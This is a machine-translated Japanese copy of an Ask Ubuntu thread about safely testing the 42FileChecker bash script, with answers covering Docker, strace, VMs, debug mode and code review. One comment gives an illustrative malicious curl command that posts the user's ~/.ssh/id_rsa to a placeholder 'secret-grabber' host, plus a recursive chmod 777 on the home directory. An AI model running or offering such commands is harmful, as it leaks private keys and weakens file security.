「安全な環境」でシェルスクリプトをテストして、コンピューターへの害を回避するにはどうすればよいですか?


29

次のコマンドを使用して、42FileCheckerという特定のbashスクリプトをインストールします。

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

しかし、私は初心者であり、そのスクリプトで何が起こっているのかわからないので、42FileChecker.shが私のPCで奇妙なことをするかどうかわかりません。ダミーのターミナルやダミーのルートフォルダーなどで実行して、何が起こるかを確認して、ドライブのフォーマットなどの狂ったようなことを回避する方法はありますか。42FileChecker.shが安全であっても、将来のシェルスクリプトについてもシェルをテストする方法を知りたいです。


5
これはスクリプトなので、読むことができman、それに含まれるコマンドのページを読むことができます。
ワルティンレーター

1
コードはGitでホストされているため、ツールのソースを読み通すことができます。コードレビューがあなたのものでない場合、安全な環境(サンドボックス、VM)で実行することによって何らかの「動的」分析を行うことが次の最善策です
BlueCacti

4
@waltinator 単に意図しない動作ではなく、悪意のある動作を懸念している場合、manページを読むことは役に立ちません。
レイ

1
@Ray、実行されているコマンド自体が悪意のある場合にのみ、それらのマニュアルページは本当の効果を隠します。ワルティネーターは、標準コマンド、たとえばchmod 777 -R ~curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaまたは類似の悪意のある使用の可能性が高いケースに言及していたと思います。
ワイルドカード

1
関連。あなたはに害を危険にさらすことなく、スクリプトをテストすることができ、あなたのコンピュータとそれが彼らのセッションをロックする同僚を教えてくれる。
エリックドゥミニル

回答:


4

私はこれについては専門家ではありませんが、との使用straceをお勧めしdockerます。

したがって、この回答の指示に従って、最初にDockerコンテナを作成します。ただし、straceを使用すると、どのシステムコールが実行されるかがわかります。または引用するには:

straceは、Linux用の診断、デバッグ、および教育ユーザースペースユーティリティです。これは、システムコール、シグナル配信、プロセス状態の変更など、プロセスとLinuxカーネル間の相互作用を監視および改ざんするために使用されます。

これらのコマンドを組み合わせて、

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

そのため、これはスクリプトの各行を(ステップバイステップで)実行し、コンテナー内でこれをすべて実行します。つまり、すべてのコマンドはシステムに対してまったく何もしませんが、通常どおり実行されます。これを正しく理解していますか?
ニコラス

1
@nicholasはい、Dockerコンテナは保護のための独立したマシンであり、プログラムはサンドボックス化されています。Straceは、ファイルを開いてからネットワーク接続を設定するまで、アプリケーションがそのマシンに対して行うすべての操作を提供します。
トーマス

1
はい、それはまさに私が探していたもので、StraceとDockerを組み合わせました。
ニコラス

42

スクリプトが何をするのかわからない場合は、何をするのかがわかるまで実行しない方がいいでしょう。悪いスクリプトの損傷範囲を減らす方法には、新しいユーザーを使用して実行する、コンテナーで実行する、または仮想マシンで実行するなどがあります。しかし、その最初のステートメントはまだ保持されます。何かがわからない場合は、実行するまで実行しないことを検討してください。


6
一方、スクリプトはEULAのようなものです。はい、魂を売る前にすべての行を読んで理解する必要がありますが、そうですか?
ピーター-モニカの復職

7
@ PeterA.Schneider、しかしEULAは法廷に持ち込まれるまで何もしません。スクリプトを実行すると、コンピューターに即座に影響が及びます。すべての行を読むことではありません。「信頼を信頼すること」と、スクリプトのソースを知り、信頼することについてです。
ワイルドカード

29

@cttが言ったように、まず何らかの種類のサンドボックスで実行することをお勧めします。VMを使用するのがおそらく最も簡単なソリューションです。マルチパスは非常に簡単です。

マルチパスをインストールします(まだ行っていない場合):

sudo snap install multipass --beta --classic

新しいVMをスピンアップします。

multipass launch --name myvm

新しいVMにログインします。

multipass shell myvm

次に(vm内で)スクリプトを実行します。

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
このアプローチは安全ではありません。サンドボックスでスクリプトを実行した後、それが安全であったかどうかをどのように確認しますか?簡単には言えない有害な影響があるかもしれません。マルウェアがポップアップして「ハハ、わかった!」と言うとは限りません。また、悪意のあるスクリプトは、サンドボックスまたはVM内で無害な方法で簡単に動作し、実際のコンピューターで悪意のある動作をする可能性があります。(たとえば、VMの検出は、マシンのフィンガープリンティングと同様のものです。)
DW

12
これは素晴らしい点です。マルウェアのスクリプトを検査する場合、これは効果的なソリューションではありません。これは、ホストシステムを汚染することなく機能をテストする方法です。
ライアンJ.ヨダー

「コントロール」VMと完全に比較できます。
mckenzm

6
@mckenzm:しかし、マルウェアである場合、ジューシーに見えるものにアクセスできるようになるまで、何もしないことを選択する可能性があります。
ヘニングマクホルム

11

あなたが通っている学校が台本を公開しているので、懸念を表明するのに最適な場所はあなたのインストラクターです。

つまり、1行ごとにコードを解読できるように支援できます。ここの誰もがすべてのコードを分析することはおそらく実用的ではありません。

実際には、合計5,360行の40個のbashスクリプトがあります。それらを組み合わせて、悪用される可能性のあるbash / shellコマンドを探しました。それらはすべて正常に使用されているようです:

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • rm -rf /ハードディスクパーティション全体を消去するコマンドはありません。
  • sudoスクリプトの実行に使用する要件はありません。
  • スクリプトは、実際Cに、チェックされたファイルで許可された機能のみが使用されるようにします。
  • bash / shellコードのクイックブラウズは、それが専門的に書かれており、簡単に理解できることを示しています。
  • マージされたインクルードファイルでshellcheckを使用すると、3つの構文エラーのみが明らかになります。
  • 著者名が特定され、メインの著者は自分の写真を自分のgithubページに掲載しています。
  • 人生の保証はありませんが、42FileChecker安全に使用できます。

人間が読むことのできるbashスクリプトではありません。読むことができないコンパイルされたバイナリオブジェクトは、懸念の原因です。たとえば、「shiny-bouncy-sphere」と呼ばれるプログラムは、画面上にそのような何かを描くかもしれませんが、バックグラウンドではすべてのファイルを消去している可能性があります。


元の答え

スクリプトの作成者に何をするのかを尋ねることをお勧めします。実際、上記のように質問をほぼそのまま投稿できます。

また、著者に尋ねます:

  • どのファイルが更新されますか?
  • 停電やプログラムのバグが原因でクラッシュした場合はどうなりますか?
  • 最初にミニバックアップを実行できますか?

そして、あなたが考えることができる他の良い質問。


編集1-悪意のある作者に関する心配。

ソフトウェアは、多くの優れた公開レビューでのみ使用する必要があります。また、Serge、Jacob、Colin Kingなど、Ask Ubuntuで信頼している著者もいます。AskUbuntuやその尊敬されているメンバーなど、他の尊敬されるサイトも「悪意のない」と見なされるべきです。

ここでUbuntuの「尊敬される著者」の利点は、「評判ポイント」に自分の価値があることです。データを意図的に「盗んだ」または「破損した」コードを記述すると、評判がすぐに失われます。実際、著者は「MODの怒り」に見舞われたり、中断されたり、10,000ポイントの評判ポイントが奪われたりする可能性があります。


編集2-すべての指示に従わない

bashスクリプトの指示を詳しく調べました。

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

「安全な」方法は、最初の行のみを実行することです:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

これにより、スクリプトがダウンロードされますが、実行されません。次にnautilus(ファイルマネージャー)を使用して、インストールされているディレクトリとファイルを調べます。フランスの学生グループによって書かれたbashスクリプトのコレクションがあることがすぐにわかります。

スクリプトの目的は、Cプログラムをコンパイルおよびテストして、不適切な機能とメモリリークを調べることです。


1
はい、そうするべきですが、作者が意図的に悪意のあることをしている状況を考えていました。
ニコラス

1
@nicholas回答を修正してコメントに返信しました。
WinEunuuchs2Unix

2
エコール42コースでCを学んでいます。私が作成している関数は、この標準チェックを実行する必要があります。このノルムチェックを実行するには、Ubuntuに42FileCheckerをインストールする必要があります。今のところこのスクリプトを信頼する必要があると思いますが、人間の検索を行うのがそれほど得意ではないため、最初にスクリプトの「安全な実行」を行う方法を知る必要がありました。助けてくれてありがとう。次回はVMを実行します。
ニコラス

2
@nicholas 24行~/42FileChecker/includes/display/display_credits.sh目のnorminetteの仕事は依存関係ですnorminette (42 born2code) http://www.42.fr。昨夜この記事を読んだので、42FileCheckerを発行したフランスの学校(ecole)であると書いたのはこのためです。これまでにコードを参照してきたことから、それを実行する心配はありません。さらにshellcheck、5,360行のbashスクリプトでは驚くほどの構文エラーが報告されます。専門的に公開されている多くのbashスクリプトには、多くの構文エラーがあります。
WinEunuuchs2Unix

2
@nicholasセキュリティの観点から、クラスに提供された環境とスクリプトを使用するのがおそらく最良のアプローチです。また、正式なコースバージョンとは異なる動作の可能性を排除します。これは、ターンイン時に驚きになる可能性があります。おそらくキャンパスから提供されたVPNサービスまたはリモートアクセス可能な別のコンピューターからのSSHを使用して、このマシンへのリモートアクセスがないことを確認していますか?
トログナンダー

5

Dockerを使用できます。DockerコンテナーはホストOSから隔離されているため、ポートを転送したりファイルシステムをマウントしたりすることで明確に許可しない限り、悪意のあるアクティビティはコンテナー内にとどまります。

Dockerをインストールするには:

sudo apt-get install docker.io

新しいUbuntu Bionicコンテナをダウンロードするには:

docker pull ubuntu:bionic

その後、コンテナにログインします

docker run -it ubuntu:bionic

その中で危険な操作を実行します。

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
スクリプトの動作を決定するのに役立つDockerのもう1つの利点はdocker diff、コンテナを起動してからファイルシステムに加えられた変更を表示するために実行できることです。Dockerを使用する欠点は、コンテナがホストシステムの完全なコピーではないことです。ここで言及するUbuntuイメージには、最小限のUbuntuインストールのみが含まれています。
マーティン・ヘメルズ

2
代わりにdocker run ubuntuあなたが実行する必要がありますあなたのコンテナ内の対話型端末を提供し、実際にあなたがデフォルトの代わりにするバージョンを実行します。docker run -it ubuntu:bionic-itbioniclatest
マーティン・ヘメルズ

私が見たものの中で、この回答が最高です。ただし、危険なスクリプトがシステムを悪用する可能性があるようです。それは密かに理想的には、おそらく追加のフラグを使用することができますなど、bitcoinsをマイニングすることができ--memory--network実際にスクリプトをロックダウンするために、そしておそらく他の人。
エモリー

1
もしあなたが本当に妄想的であれば、この答えを2番目に良い答えと組み合わせてください。仮想マシン内でdockerを実行し、すべてをロックダウンします。
エモリー

3

次のようにスクリプトを実行して、デバッグモードの使用を検討してください。

$ bash -x scriptname

さらに役立つBash 情報

デバッグモードでは、スクリプトが何か悪いことをするのを止めることはできませんが、スクリプトを1行ずつ調べて効果を調べることができます。また、スクリプトで一般的な潜在的な間違いや悪用をチェックすることもできます。たとえば、スクリプトで発生rmしたコマンドを検索し、それらのコマンドを非常に詳しく調べます。これらのツールの多くは、例えば、RM、それらを試すために建てられたいくつかの助けがデフォルトでディレクトリを削除しません、それが必要持っている-r-Rまたは--recursiveそうするオプションを選択します。

これらのパターンについてbashスクリプトを検索するアンチウイルスのようなツールもあるかもしれませんが、私は名前で何も知りません。サンプルスクリプトは、他のツールをダウンロードするという意味で、一種の特別なものです。したがって、これらの各スクリプトも調べる必要があります。連絡先のサーバーを確認することも価値があります。


-xはデバッグに使用できます(そして私も使用します!)が、スクリプトを1行ずつステップ実行することはできません。スクリプトを全速で実行するため、一種の「トレース」が得られます。
jrw32982は

2

答えを提供するための関連情報は、不幸なことにあなたのコメントでしか見つかりません。

エコール42コースでCを学んでいます。私が作成している関数は、この標準チェックを実行する必要があります。このノルムチェックを実行するには、Ubuntuに42FileCheckerをインストールする必要があります。

そのため、実際にはコースをスキップするオプションがあるか、スクリプトを実行してソースの規範チェックを実行することができます。前者が不足しているため、インストラクターと話すことはほとんど選択肢になりません(他の方法では選択肢になりません。1人の生徒が満足していないため、学校は手続きを変更しません)。
そのため、そのスクリプトから発生する可能性のある損害を制限するために何をすべきかという質問は発生しません。巨乳の角質の少女があなたにメールを送ったのはランダムなスクリプトではなく、彼女の写真を見るためにあなたが走る必要がある
プログラミングクラスを行っています。このこのスクリプトが登場した場所です。問題は、コースを正常に完了するためのフレーム条件を遵守するかどうかです。

ただし、本当に心配な場合は、コンテナまたは仮想マシンでスクリプトを実行し、共有フォルダーに、またはコンテナー/仮想マシンによって公開されるネットワーク共有にソースを配置する可能性がまだあります。それはほぼ完全な偏執狂の道を進んでいますが、最近も仮想化はそれほど複雑ではないので、それほど多くの費用はかかりません。

そのスクリプトに含まれる本当に過酷なエクスプロイトの可能性を排除し、ルート以外のユーザー(Ubuntuでは別の方法で選択することはほとんどありません)としてログインし、明白な理由なしに入力 sudoしないことで、とにかく起こる可能性のあるすべての悪いこと。心配しているハードディスクのフォーマットなど。通常のユーザーはそれを行うことができません。最悪の事態は、スクリプトがユーザーのホームディレクトリを消去することです。本当に、何の問題もありません。


うまくいけば、OP sudoがスクリプトの実行に必要かどうかについてコメントします。+1
WinEunuuchs2Unix

回避sudoするのは、バグによる誤った削除/フォーマットの範囲を制限するだけです。スクリプトが悪意のある、または悪用可能な場合、sudoシングルユーザーシステムで実行しても本質的な違いはありません。
他の男

@ WinEunuuchs2Unix sudoが必要だとは思わない。私は実際に本当に知りません。私はaptインストールコマンドにsudoを使用していますが。それは、スクリプトを実行するためにも使用する必要があるということですか?
ニコラス

1
@nicholasコンパイルしてテストするCプログラム42FileCheckerがないので、sudo必要かどうかは本当に言えません。bashスクリプトはsudoをチェックせず、使用するように指示します。その場合、それsudoは必要ありません。再度、私はあなたのインストラクター(教師)に尋ねることが最良の方針だと思います。1時間前にスクリプトを少し分析して、回答を更新しました。mynorminetteコード内に名前「」が再び表示されていることに注意してください。
WinEunuuchs2Unix

1
@nicholasインストラクターの一部は、すべてに貢献したnorminette、yyang42、alelievr、anisg、QuentinPerez、gabkk、patorjk、およびJean-Michel Gigaultを個人的に知ってい42FileCheckerます。インストラクターと話すことはあなたの心を落ち着かせると信じています。数時間の調査の後、私はプログラマーと彼らの創造物を信じています。Jean-Michel Gigaultの写真はgithubにもあります。イエローベストの種子が成長している土地での信頼の証です。ビバラフランス!(et Ecole 42 :))進捗状況をお知らせください。
WinEunuuchs2Unix
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.